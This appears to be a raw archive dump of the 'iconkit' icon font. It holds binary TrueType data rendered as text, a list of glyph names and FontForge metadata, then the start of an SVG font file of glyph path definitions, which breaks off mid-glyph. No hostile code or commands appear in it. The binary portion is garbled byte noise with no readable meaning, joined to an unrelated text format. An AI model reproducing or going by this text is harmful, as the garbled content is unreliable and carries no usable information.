#���5K&"6D65KK5� 5&&��>WW>> � $#K5A��KjK# �&5%$X{X�U,� 327654&#"32654'&#"� �����I�*���V-=".4>2%2>54& 3327654&#"32654'&#"_��~JJ~���~JJ~��h�g���g�hb� ���UJ~���~JJ~���~g�h���h�g�I�U���V'"&547>!2&7'!2!"&54?� �#%P �U#%�%�����%U�K�U���+%1=%".4>2#"/#'1264"2654&"!264&#!"�h�gg�ѱf1#��+�8|��|{��Q##V�+f�ѱgg�h8�+��#1U���������##U���+$0%#".4>2#"'%1264"!264&#!"�+�8h�gg�ѱf1#��s|��|{���#1f�ѱgg�h8�+��������##U���+)-6@IR%#"&46;5#1"&46235462+312"&535%54&"3#1"265!264&+264&"U�d�ddGUUGdd�d�d�ddGUUGdd�d���2F22#UU#22F2V2F22#UU#22F2�UGdd�d�d�ddGUUGdd�d�d�ddGU��VU#22F2��2F22##22F2V2F22#U'12#1!1".4>323#"&'.#"31!264&j��j��h�gg�hp�&6 �`|��|�Gdd�Ԗg�бg�jU\����d�d����+);!264&#!"!264&#!"3267454&#"3267454&#"���V��V�UU�UU�$$�$$0��U���+*7E754>2+"&=46;54."32+"&5%#";265%;126=4&#Us���sK5+5KK5U[���[U5KK5+5KU+�V+իt�ss�t��5KK5�5K+]�[[�]+K5�5KK5���������+#462265462"&5"&463!2#�$}�}$���*���X}}X+��{��{�$$�V3264&#!1"313#"3!264&+���������##��##��V%#1!"&5463!2!264&#!264&#!�-@}X��UY}'�'*5KK5��U5KK5���m4X}�}X&[�KjK��KjK���(2%1232+"&=!"&51"&463?46213!4&#/|5K��$��5K��#��K5��$��K6{#������*���V)O".4>2%2>54& 351"&46312#"&547>321#"&5467676=4&#"_��~JJ~���~JJ~��h�g���g�hf_2FdS"(-2#0UJ~���~JJ~���~g�h���h�g�##r/CdGL7 #2"*���VG #"&5467>32"&47654&#"3267>54&#"3267654&#"u�wY%X}%�55K�w$ j��K56�%}Y$Y�x$3�{4|$���w%}X%Y�K55�x# i ��65K�X%X}$�x%{4{�3$� �����CO"&462&264&""&462&264&"!2#"#!"1"&'.+1"&4631323!21267!�jKKjK�##_jKKjK�##���HI,�>/JA``.J3�=���KjKKj $$nKjKKj $$���+<A.�#A.f�z3*���U"2'&54632763232#!"&5463"3!2654&#�� �� ��5KK5�V5KK5������K5�+5KK5�5KU�+���FSf�%#"'."#"&5467>32'#"&547>7'#"&547>7'&54632"'1"&46312#.54632#"'&"#"&5467632#"'.#"�H8I e( w)i!`&c%_ [#� �� # ��� :0(��rUK�d� w 3 6 c==� ���� #�##�) "kK C]U���++AV+1"31326=14&"#"&=4&";264&546;264&+"2651%31226=4&+"+��5K#U�#K5����5K#���#K5��#K5����5K#���#K5����5K#U���+';O#"26=46;264&54&+";226326=4&"+";264&+"&=4&"U�5K$�DK5��$��5K$���K5��$+K5��$��5K$���K5��$�5K$���[%4"'.54?67632!67632% /#!"&/�9 4i^_h6�x��4QQ �� QQSK %�B ��% ���& C��6�������+)=KXd%26=3264&#!"3546232#!1"&46312653264&#!"37"&514621"&5462"&5462+#U��$U��#V��##V$$U##���##���##���##�+������*���V&>2#"/#"&545'&5467%�z �/ �� /� > �( ������ (���+>321"'.54632"s/s�0"��$��"0�s/s"�"0�s/s"��y"s/s�0"��+!-!!#!"&5#"&=463!2#%!5"&46;2#U�V�V�*���V���+���Հ���$$*���V+954627632"/&54632".4>2%2>54& 3�$b�$�쾮~JJ~���~JJ~��h�g���g�h<��b��� J~���~JJ~���~g�h���h�g*���V+9"&=#"&54?62#"'".4>2%2>54& 3+$b �$�.��~JJ~���~JJ~��h�g���g�h���b ���IJ~���~JJ~���~g�h���h�g*���V+932+#"/&4?632".4>2%2>54& 3���b��A��~JJ~���~JJ~��h�g���g�h�$b�$���J~���~JJ~���~g�h���h�g*���V+9#"&46;'&54632#"&547".4>2%2>54& 3D��b ��}��~JJ~���~JJ~��h�g���g�hU$b �$���J~���~JJ~���~g�h���h�g�+#%"&5462"&5462"&5462+$$�$$�$$+��V��V�+#%"&5462"&5462"&=462+$$$$�$$+��V��V�*���+6A!24&#"&54&#!"&5463!2>;!2#!1""&5467#">31!�.'K5�"2#��4Yd,��#2"/'U�5K2���5K�#2�.($2��2#/N��K5�? *U��)&54632#"&54?!#"'&47632� � �$� � b �$���$U���V(42>= '4>2".5 '2>52>4."�Y���Yy�H�t��tt��tx�FxY���Y�R��YY���YY?�''�?�4N((N4��4N((N4V�i??�(('#((#'��+�+3=32+32+"&=#"&46;5#"&46;54623264&#'5#1"31+��@OqqO@$��@OqqO@$@,>>,�@,>>,�#�q�p��#�q�p���?X>V�?X>*���+1G32+"&=#"&46;5462!2#!"&546;12#"3!2654&#!1"&'+UU$UU$?i5KK5�V5KK5� :���� U#UU#VK5�*5KK5V5KC���*���V,04:?IS32+#!"&5#"&=46;&54631276312!5)!!!1#!!&#";&264&#"Gd+�V+dW>wFGv>W��U�U��UV�V�"/D&&� &&D/ ������">W��W>"s����UU��U���U&4&&4&U*���++7!2#!"&546;12#"3!2654&#!1"&'"&463!2#�i5KK5�V5KK5� :���� 2�K5�*5KK5V5KC�����##��V'"&'+"&46;2>26;2+"264&"�{�{��{�{����jKKjKVGddG$GddG$UKjKKjU���+&.6%#"&'467462>7.546712264&"264&"�a7FdK5$'Hq�4IcGGdL6 m��F22F2�2F22F2W6KdF7a ��% G'�qa6FddG7a`�m�2F22F��2F22FU���+/7?.546712"&54&+"&46;21"&546264&"264&"�4KdFGdK5$��5K4KdFGdK=F22F2�2F22F2�`7FddG7a �%%$K5��`7FddG7a�2F22F�2F22FU���+'/7%.'"&5.546712>321#"&'264&"264&"ZN�/$4KdFGdJ4�qa6FddG7a�F22F2�2F22F2Wc?��`7FddG6aq�4IcGGdL6,2F22F�2F22F*���+->BJV2+"&54&"+1"&544&"34623312+"&54636"&462'1264"/���#�}�}VKjKU�ի�<UjKKjK�+�|��+��+|��X}}X�5KK5��U�U��KjKKj ##*�!+7C1#!"&5147>3!2'.#!"!3!265%1"&4631231"&46312�K5�V5K�C!�%=(u�ju������ �5KK5 %*&!��� �V�+####���V"&462&"&462"&462#1#F22F22F22F2U#22F22#+2F22F�2G22G�y2G22G2*��"&462"&462"&462#F22F2�G22G2�yG22G2+2F22F22F22F22F22F�'1"&4632"&54.1"&46312"&54."&462#�t�r#[�\� �s#f��X#22G22$�#r�t\�[+#s����f�U2G22G2*���V632'%&67% ��� :������y��sS��q�: ��s��������$-N%#"/#"'&'&'&547'&54632>7#"&546?621#"&54767� �)�3 A:�x ��CL)j!�x�U �� �)`(3��+ x �f:+Q!n- 3���20$% U���V"8#!"&514?63!2'!!3!265462"&51462126� K5��5K � @�*@��VV�#}�}#KjK���5KK5U��UUV���X}}X5KK*�� &54632#"&54?"&463!2#� � �U�� #� �##����++05=E%"&547!"&547#1"&5463!232#5!!35'264&"264&"�X{X��X{X9��� ����+U�g��5&&5%P5%%5&�!>XX>!!>XX>!+�� ����+��g�+%5&&5%%5&&5����� $'?U &54632"'&7!"&54?!'7#"&54?>#"&5457"&46;12#"&54?�� *U+# ���#%�� �<}��_� h# �� h -( ������ # �%�=��лs�}�; �#|6��.[os#"'"'&'.'&545&7>7676323.'&'&#"3236767>765454'#"&5146327'7� C%-�aaG>�-)< C%-�abI<�/%B S$�__G<�#$�`_G<�#� � ��ttxqrts%D=,psvw%D D& jkni knkh�u���B�B�&$w��� H- � � �iconkiticonkitMediumMediumFontForge 2.0 : iconkit : 14-11-2018FontForge 2.0 : iconkit : 14-11-2018iconkiticonkitVersion 1.0Version 1.0iconkiticonkit[ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|�}~����������������������������������������������������������������������������������������[���������������������������������������� alert-octagonalert-circleactivityalert-trianglealign-centerairplay align-justify align-leftalign-rightarrow-down-leftarrow-down-rightanchoraperture arrow-leftarrow-right arrow-down arrow-up-leftarrow-up-rightarrow-upaward bar-chartat-sign bar-chart-battery-chargingbell-offbattery bluetoothbellbook briefcase camera-offcalendarbookmarkboxcameracheck-circlecheckcheck-squarecastchevron-downchevron-left chevron-right chevron-up chevrons-downchevrons-rightchevrons-up chevrons-leftcircle clipboardchromeclockcloud-lightning cloud-drizzle cloud-rain cloud-offcodepen cloud-snowcompasscopycorner-down-rightcorner-down-leftcorner-left-downcorner-left-upcorner-up-leftcorner-up-rightcorner-right-downcorner-right-upcpucredit-card crosshairdiscdeletedownload-clouddownloaddropletedit-editedit-1 external-linkeyefeatherfacebook file-minuseye-offfast-forward file-textfilmfile file-plusfolderfilterflagglobegridhearthomegithubimageinboxlayersinfo instagramlayoutlink- life-buoylinklog-inlistlocklog-outloadermail maximize-mapmap-pinmenumessage-circlemessage-square minimize-mic-offminus-circlemicminus-squaremoonmonitor more-verticalmore-horizontalmovemusicnavigation- navigationoctagonpackagepause-circlepause phone-callphone-forwardedphone-missed phone-offphone-incomingphonephone-outgoing pie-chartplay-circleplayplus-squareplus-circlepocketprinterpowerradiorepeatrefresh-ccwrewind rotate-ccw refresh-cw rotate-cwsavesearchserverscissorsshare-shareshieldsettings skip-backshufflesidebarskip-forwardslack smartphonesquarespeakerstarstop-circlesunsunrisetablettagsunsettargetthermometer thumbs-upthumbs-downtoggle-lefttoggle-righttrash-trashtrending-up trending-downtriangletypetwitteruploadumbrellaupload-cloudunlock user-check user-minus user-plususer-xuserusers video-offvideo voicemailvolume-xvolume-volume-1volumewatchwifix-squarewindx-circlezapzoom-inzoom-outcommandcloudhash headphones underlineitalicboldcrophelp-circle paperclip shopping-carttvwifi-offminimizemaximizegitlabslidersstar-onheart-onarchivearrow-down-circlearrow-up-circlearrow-left-circlearrow-right-circlebar-chart-line-bar-chart-line book-opencodedatabasedollar-signfolder-plusgiftfolder-minus git-commit git-branchgit-pull-request git-mergelinkedin hard-drivemore-vertical-more-horizontal-rsssend shield-offshopping-bagterminaltruckzap-offyoutube���=���a��a�fonts/iconkit.svg000064400001176717151677247160010122 0ustar00<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg> <metadata> Created by IconKit </metadata> <defs> <font id="iconkit" horiz-adv-x="1024" > <font-face font-family="iconkit" font-weight="500" font-stretch="normal" units-per-em="1024" panose-1="2 0 6 3 0 0 0 0 0 0" ascent="896" descent="-128" x-height="792" bbox="-0.516154 -128.498 1025.43 896.525" underline-thickness="0" underline-position="0" unicode-range="U+0078-E92A" /> <missing-glyph /> <glyph glyph-name="x" unicode="x" horiz-adv-x="1001" d="M281 543q-27 -1 -53 -1h-83q-18 0 -36.5 -6t-32.5 -18.5t-23 -32t-9 -45.5v-76h912v41q0 16 -0.5 30t-0.5 18q0 13 -5 29t-17 29.5t-31.5 22.5t-49.5 9h-133v-97h-438v97zM955 310v-52q0 -23 0.5 -52t0.5 -58t-10.5 -47.5t-26 -30t-33 -16t-31.5 -4.5q-14 -1 -29.5 -0.5 t-29.5 0.5h-32l-45 128h-439l-44 -128h-29h-34q-20 0 -45 1q-25 0 -41 9.5t-25.5 23t-13.5 29.5t-4 30v167h911zM163 247q-12 0 -21 -8.5t-9 -21.5t9 -21.5t21 -8.5q13 0 22 8.5t9 21.5t-9 21.5t-22 8.5zM316 123q-8 -26 -14 -48q-5 -19 -10.5 -37t-7.5 -25t-3 -15t1 -14.5 t9.5 -10.5t21.5 -4h37h67h81h80h64h36q23 0 34 12t2 38q-5 13 -9.5 30.5t-9.5 34.5q-5 19 -11 39h-368zM336 498v228q0 11 2.5 23t10 21.5t20.5 15.5t34 6h188q31 0 51.5 -14.5t20.5 -52.5v-227h-327z" /> <glyph glyph-name="alert-octagon" unicode="" d="M128 542.976v-317.952l225.024 -225.024h317.952l225.024 225.024v317.952l-225.024 225.024h-317.952zM335.36 853.333h353.28q17.6716 -0.00372314 30.1653 -12.5013l250.027 -250.027q12.4975 -12.4938 12.5013 -30.1653v-353.28 q-0.00390625 -17.6716 -12.5013 -30.1653l-250.027 -250.027q-12.4938 -12.4976 -30.1653 -12.5013h-353.28q-17.6716 0.00377655 -30.1653 12.5013l-250.027 250.027q-12.4975 12.4938 -12.5013 30.1653v353.28q0.00377274 17.6716 12.5013 30.1653l250.027 250.027 q12.4937 12.4975 30.1653 12.5013zM512 213.333zM469.333 213.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM469.333 554.667v-170.667 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="alert-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 554.667v-170.667 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM512 213.333zM469.333 213.333q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="activity" unicode="" d="M424.491 781.483q-9.728 29.184 -40.4907 29.184t-40.4907 -29.184l-118.229 -354.816h-139.947q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h170.667h0.0102844q12.7347 0 24.5955 8.5509 q11.8607 8.55087 15.8849 20.6331l87.5093 262.571l215.509 -646.571q9.72797 -29.184 40.4907 -29.184q30.7626 0 40.4907 29.184l118.229 354.816h139.947q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-170.667h-0.0102539 q-12.7347 0 -24.5955 -8.5509q-11.8608 -8.5509 -15.8849 -20.6331l-87.5093 -262.571z" /> <glyph glyph-name="alert-triangle" unicode="" d="M402.432 753.237q15.4774 25.5634 47.5808 43.6555t61.9872 18.092q29.8837 0 61.9872 -18.092t47.5808 -43.6555l361.728 -603.904q17.1508 -29.7037 17.1508 -64.0034q0 -52.6043 -37.2286 -90.1073q-37.2287 -37.503 -89.8315 -37.8893h-723.243 q-52.4119 0.573734 -89.5054 38.0755q-37.0935 37.5018 -37.0935 89.9168q0 34.6727 17.5003 64.605zM114.603 106.667q-5.72215 -9.90473 -5.72215 -21.3436q0 -17.2815 12.2277 -29.7799q12.2277 -12.4983 29.5051 -12.8766h722.304q17.4709 0.190895 29.8358 12.6915 q12.3647 12.5006 12.3647 29.9726q0 11.0669 -5.37915 20.7385l-361.259 603.093q-5.15723 8.5061 -15.8472 14.5261t-20.6374 6.02002q-9.92026 0 -20.595 -5.995t-15.8377 -14.4658zM512 170.667zM469.333 170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013 t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM469.333 512v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653 t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="align-center" unicode="" d="M768 512h-512h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h512q17.6613 0.00274658 30.1608 12.5041q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627q-12.4995 12.5013 -30.1608 12.5039zM896 682.667 h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333h-768q-17.6613 -0.00271606 -30.1607 -12.5041 q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM768 170.667h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653 t30.1653 -12.5013h512q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" /> <glyph glyph-name="airplay" unicode="" d="M213.333 213.333h-42.6667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v426.667q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h682.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-426.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-42.6667 q-17.6613 -0.00268555 -30.1607 -12.504t-12.4995 -30.1626t12.4995 -30.1626t30.1607 -12.504h42.6667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v426.667q0 52.9921 -37.504 90.496t-90.496 37.504h-682.667q-52.992 0 -90.496 -37.504 q-37.504 -37.504 -37.504 -90.496v-426.667q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h42.6667q17.6613 0.00270081 30.1607 12.504t12.4994 30.1626t-12.4994 30.1626t-30.1607 12.5041zM512 189.355l-122.24 -146.688h244.48zM725.333 -42.6667h-426.667 q-17.6573 0.0066185 -30.154 12.508q-12.4966 12.5013 -12.4966 30.1587q0 15.4417 9.88266 27.3067l213.333 256q12.793 15.3408 32.768 15.3408q19.9749 0 32.768 -15.3408l213.333 -256q9.88269 -11.865 9.88269 -27.3067q0 -17.6574 -12.4966 -30.1587t-30.1532 -12.508 z" /> <glyph glyph-name="align-justify" unicode="" d="M896 512h-768h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h768q17.6613 0.00274658 30.1607 12.5041t12.4995 30.1626q0 17.6613 -12.4995 30.1627q-12.4995 12.5013 -30.1607 12.5039zM896 682.667h-768 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333h-768q-17.6613 -0.00271606 -30.1607 -12.5041 q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM896 170.667h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653 t30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" /> <glyph glyph-name="align-left" unicode="" d="M725.333 512h-597.333h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h597.333q17.6613 0.00274658 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1627q-12.4994 12.5013 -30.1607 12.5039z M896 682.667h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333h-768 q-17.6613 -0.00271606 -30.1607 -12.5041q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM725.333 170.667h-597.333 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" /> <glyph glyph-name="align-right" unicode="" d="M896 512h-597.333h-0.00653076q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h0.00653076h597.333q17.6613 0.00274658 30.1607 12.5041t12.4995 30.1626q0 17.6613 -12.4995 30.1627 q-12.4995 12.5013 -30.1607 12.5039zM896 682.667h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333 h-768q-17.6613 -0.00271606 -30.1607 -12.5041q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM896 170.667h-597.333 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" /> <glyph glyph-name="arrow-down-left" unicode="" d="M737.835 670.165l-512 -512q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l512 512q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256z M298.667 512q0 17.664 -12.5013 30.1653t-30.1654 12.5013q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-384q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h384q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333z" /> <glyph glyph-name="arrow-down-right" unicode="" d="M225.835 609.835l512 -512q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-512 512q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411zM384 170.667 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h384q17.664 0 30.1653 12.5013t12.5013 30.1653v384q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-341.333z" /> <glyph glyph-name="anchor" unicode="" d="M554.667 2.34667q126.195 14.1451 225.518 113.468q99.323 99.3231 113.468 225.519h-82.9866q-17.6641 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653 q-6.10352e-05 -95.4833 -37.1695 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.397 -37.1694q-95.4834 0 -182.397 37.1694q-86.9139 37.1694 -149.756 100.011q-62.8417 62.8417 -100.011 149.756 q-37.1695 86.9139 -37.1694 182.397q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-82.9867q14.1451 -126.195 113.468 -225.518q99.3231 -99.3231 225.518 -113.468 v552.32q0 17.664 12.5013 30.1653t30.1653 12.5013q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-552.32zM512 512h-0.0130615q-70.6559 0 -120.661 50.0054q-50.0053 50.0054 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053h0.0130615 q70.6506 -0.00537109 120.652 -50.0107t50.0015 -120.656t-50.0015 -120.656q-50.0015 -50.0054 -120.652 -50.01zM512 597.333q35.3281 0 60.3307 25.0026t25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3306 q0 -35.328 25.0027 -60.3307t60.3307 -25.0027z" /> <glyph glyph-name="aperture" unicode="" d="M456.533 -82.0907q-111.336 13.2893 -221.472 95.5981q-110.137 82.3088 -154.421 185.319q-15.7211 36.6004 -26.8474 90.6951q-11.1263 54.0947 -11.1263 93.9286l0.000324249 0.549561q0 152.559 89.3867 275.584q2.03531 3.35077 4.65067 6.27197 q58.1998 77.6436 168.064 132.594t206.899 54.9507q25.0482 0 49.9547 -2.67023q113.129 -12.06 224.99 -94.5688q111.862 -82.5088 156.791 -187.031q37.9307 -88.129 37.9307 -185.131l0.000610352 -0.750641q0 -62.9084 -26.1905 -143.435 q-26.1905 -80.5263 -63.1968 -131.399q-2.03546 -3.35104 -4.6507 -6.272q-58.2 -77.6436 -168.064 -132.594t-206.899 -54.9507q-25.0486 0 -49.9547 2.67025q-2.92337 0.119843 -5.80267 0.639999zM441.813 6.4l94.848 164.267h-343.979 q37.2406 -55.7356 110.236 -103.866q72.9953 -48.1301 138.895 -60.4009v-0.000110149zM537.131 0.810666q66.9302 4.32825 145.101 43.5074q78.1708 39.1792 121.694 90.2099l-94.8054 164.139l-61.44 -106.24q-0.209839 -0.365189 -0.426697 -0.725327l-110.08 -190.848z M659.84 383.957l-73.8987 128.043h-147.883l-73.8987 -128l73.8987 -128h147.883l73.8987 128v-0.0429993zM746.539 404.48l109.952 -190.336q39.5093 79.9515 39.5093 169.856q0 66.2804 -21.8453 128h-189.696l61.056 -105.728q0.533508 -0.883087 1.02393 -1.79199z M149.845 256h189.696l-61.056 105.728q-0.534332 0.884827 -1.02399 1.79199l-109.952 190.336q-16.3571 -33.1335 -27.9334 -82.7343t-11.5764 -86.5517l0.000427246 -0.570068q0 -66.2804 21.8453 -128zM220.075 633.472l94.8053 -164.139l61.44 106.24 q0.210175 0.366089 0.426666 0.725342l110.08 190.848q-66.9301 -4.32819 -145.101 -43.5074q-78.1708 -39.1793 -121.694 -90.21zM582.187 761.6l-94.8481 -164.267h343.979q-37.2407 55.7356 -110.236 103.866t-138.895 60.401z" /> <glyph glyph-name="arrow-left" unicode="" d="M853.333 426.667h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h682.667q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013zM456.832 609.835 q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256l-256 -256q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l256 -256q12.5805 -13.0257 30.6896 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653 q0 18.109 -13.0257 30.6897l-225.835 225.835z" /> <glyph glyph-name="arrow-right" unicode="" d="M170.667 341.333h682.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM567.168 158.165q-11.977 -12.4007 -11.977 -29.641 q0 -17.664 12.5013 -30.1653q12.5013 -12.5014 30.1653 -12.5014q17.2403 0 29.6411 11.977l256 256q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-256 256q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653 q0 -17.2404 11.977 -29.6411l225.835 -225.835z" /> <glyph glyph-name="arrow-down" unicode="" d="M469.333 725.333v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v682.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z M286.165 328.832q-12.5805 13.0256 -30.6897 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896l256 -256q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l256 256q11.977 12.4007 11.977 29.641q0 17.6639 -12.5013 30.1653 q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.6411 -11.977l-225.835 -225.835z" /> <glyph glyph-name="arrow-up-left" unicode="" d="M798.165 158.165l-512 512q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411l512 -512q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.6411zM640 597.333 q17.664 0 30.1653 12.5013t12.5013 30.1653q0 